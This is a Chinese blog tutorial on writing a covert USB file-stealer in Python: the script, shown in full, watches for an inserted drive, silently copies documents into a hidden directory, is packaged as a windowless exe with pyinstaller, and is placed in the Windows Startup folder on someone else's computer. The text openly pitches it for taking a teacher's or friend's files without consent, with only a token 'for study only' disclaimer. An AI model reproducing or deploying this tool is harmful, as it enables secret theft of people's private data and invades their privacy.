当老师讲完课,你是否想过如果把他U盘里的课件(da;an)全拷过来该多好;当朋友用你的电脑时,你是否想看看他的U盘里有哪些好东西?
借助python写几行代码,转换为exe,运行在后台,自动扫描,复制,嗯,一气呵成。
我室友就是用这种操作把我珍藏许久的小电影都给偷走了,怪不得日渐消瘦!
1、code
import os
import shutil
import datetime
import time
usb_path = 'G:\\' # 插上U盘的盘符,自行修改
save_path = 'C:\\Program Files\\Common Files\\Usb Files\\' # 保存的位置,隐蔽点,自行修改
extension_list = ['txt', 'pdf', 'wps', 'doc', 'xls', 'ppt', 'docx', 'xlsx', 'pptx'] # 你要拷贝哪些数据,自行修改
while True: # 每隔20s扫描一次U盘是否插入
if os.path.exists(usb_path): # 检测到U盘插入
file_list = []
for root, dirs, files in os.walk(usb_path): # 遍历U盘所有文件
for filename in files:
if filename[-3:] in extension_list or filename[-4:] in extension_list: # 匹配扩展名
file_list.append(os.path.join(root, filename)) # 获取的你需要的文件绝对路径
for file in file_list:
save_dir = datetime.datetime.now().strftime('%Y%m%d_%H_%M') # 根据日期时间新建文件夹
file_dir = os.path.dirname(file)[3:] # U盘里该文件所在的递归目录,需要把拷贝的文件还原其所在位置
file_path = os.path.join(save_path, save_dir, file_dir) # 文件具体保存位置的完整路径
if not os.path.exists(file_path):
os.makedirs(file_path)
shutil.copy(file, file_path) # 复制中……
break # 复制完成后退出
else:
time.sleep(20) # 每隔20s扫描一次U盘
2、to exe
pyinstaller -F -w 'path' # path为你的.py文件所在位置绝对路径
1
3、run
把生成的exe程序拷贝到目标电脑上的隐蔽位置:
(1)双击,会运行在后台,待U盘插入……
(2)把该exe放到“启动”文件夹中,这样每次电脑启动就会自动后台运行,拷贝。
最后,此文章仅供个人学习、研究之用,禁止用于其它商业用途,否则将追究法律责任!
近期有很多朋友通过私信咨询有关Python学习问题。为便于交流,点击蓝色自己加入讨论解答资源基地